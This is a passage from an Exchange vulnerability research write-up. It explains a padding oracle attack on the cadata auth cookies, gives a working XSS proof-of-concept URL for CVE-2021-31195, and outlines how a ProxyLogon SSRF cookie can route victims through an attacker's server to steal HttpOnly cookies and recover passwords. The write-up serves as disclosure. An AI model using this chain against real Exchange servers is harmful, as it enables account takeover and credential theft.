                    ExTraceGlobals.VerboseTracer.TraceDebug<FormatException>((long)this.GetHashCode(), "[FbaModule::ParseCadataCookies] Received FormatException {0} decoding caData auth", ex9);
                }
                httpApplication.Response.AppendToLog("&DecodeError=InvalidCaDataAuthCookie");
                return;
            }
            string @string = Encoding.Unicode.GetString(bytes2);
            request.Headers["Authorization"] = @string;
        }
    }
}


It should be noted that since the IV is encrypted with the SSL certificate private key, we can’t recover the first block of the ciphertext through XOR. But it wouldn’t cause any problem for us because the C# internally processes the strings as UTF-16, so the first 12 bytes of the ciphertext must be B\x00a\x00s\x00i\x00c\x00 \x00. With one more Base64 encoding applied, we will only lose the first 1.5 bytes in the username field.

(16−6×2) ÷ 2 × (3/4) = 1.5

 

The Exploit

As of now, we have a Padding Oracle that allows us to decrypt any user’s cookie. BUT, how can we get the client cookies? Here we find another vulnerability to chain them together.


XSS to Steal Client Cookies

We discover an XSS (CVE-2021-31195) in the CAS Frontend (Yeah, CAS again) to chain together, the root cause of this XSS is relatively easy: Exchange forgets to sanitize the data before printing it out so that we can use the \ to escape from the JSON format and inject arbitrary JavaScript code.

https://exchange/owa/auth/frowny.aspx
?app=people
&et=ServerError
&esrc=MasterPage
&te=\
&refurl=}}};alert(document.domain)//




But here comes another question: all the sensitive cookies are protected by the HttpOnly flag, which makes us unable to access the cookies by JavaScript. WHAT SHOULD WE DO?


Bypass the HttpOnly

As we could execute arbitrary JavaScript on browsers, why don’t we just insert the SSRF cookie we used in ProxyLogon? Once we add this cookie and assign the Backend target value as our malicious server, Exchange will become a proxy between the victims and us. We can then take over all the client’s HTTP static resources and get the protected HttpOnly cookies!





By chaining bugs together, we have an elegant exploit that can steal any user’s cookies by just sending him/her a malicious link. What’s noteworthy is that the XSS here is only helping us to steal the cookie, which means all the decryption processes wouldn’t require any authentication and user interaction. Even if the user closes the browser, it wouldn’t affect our Padding Oracle Attack!

Here is the demonstration video showing how we recover the victim’s password: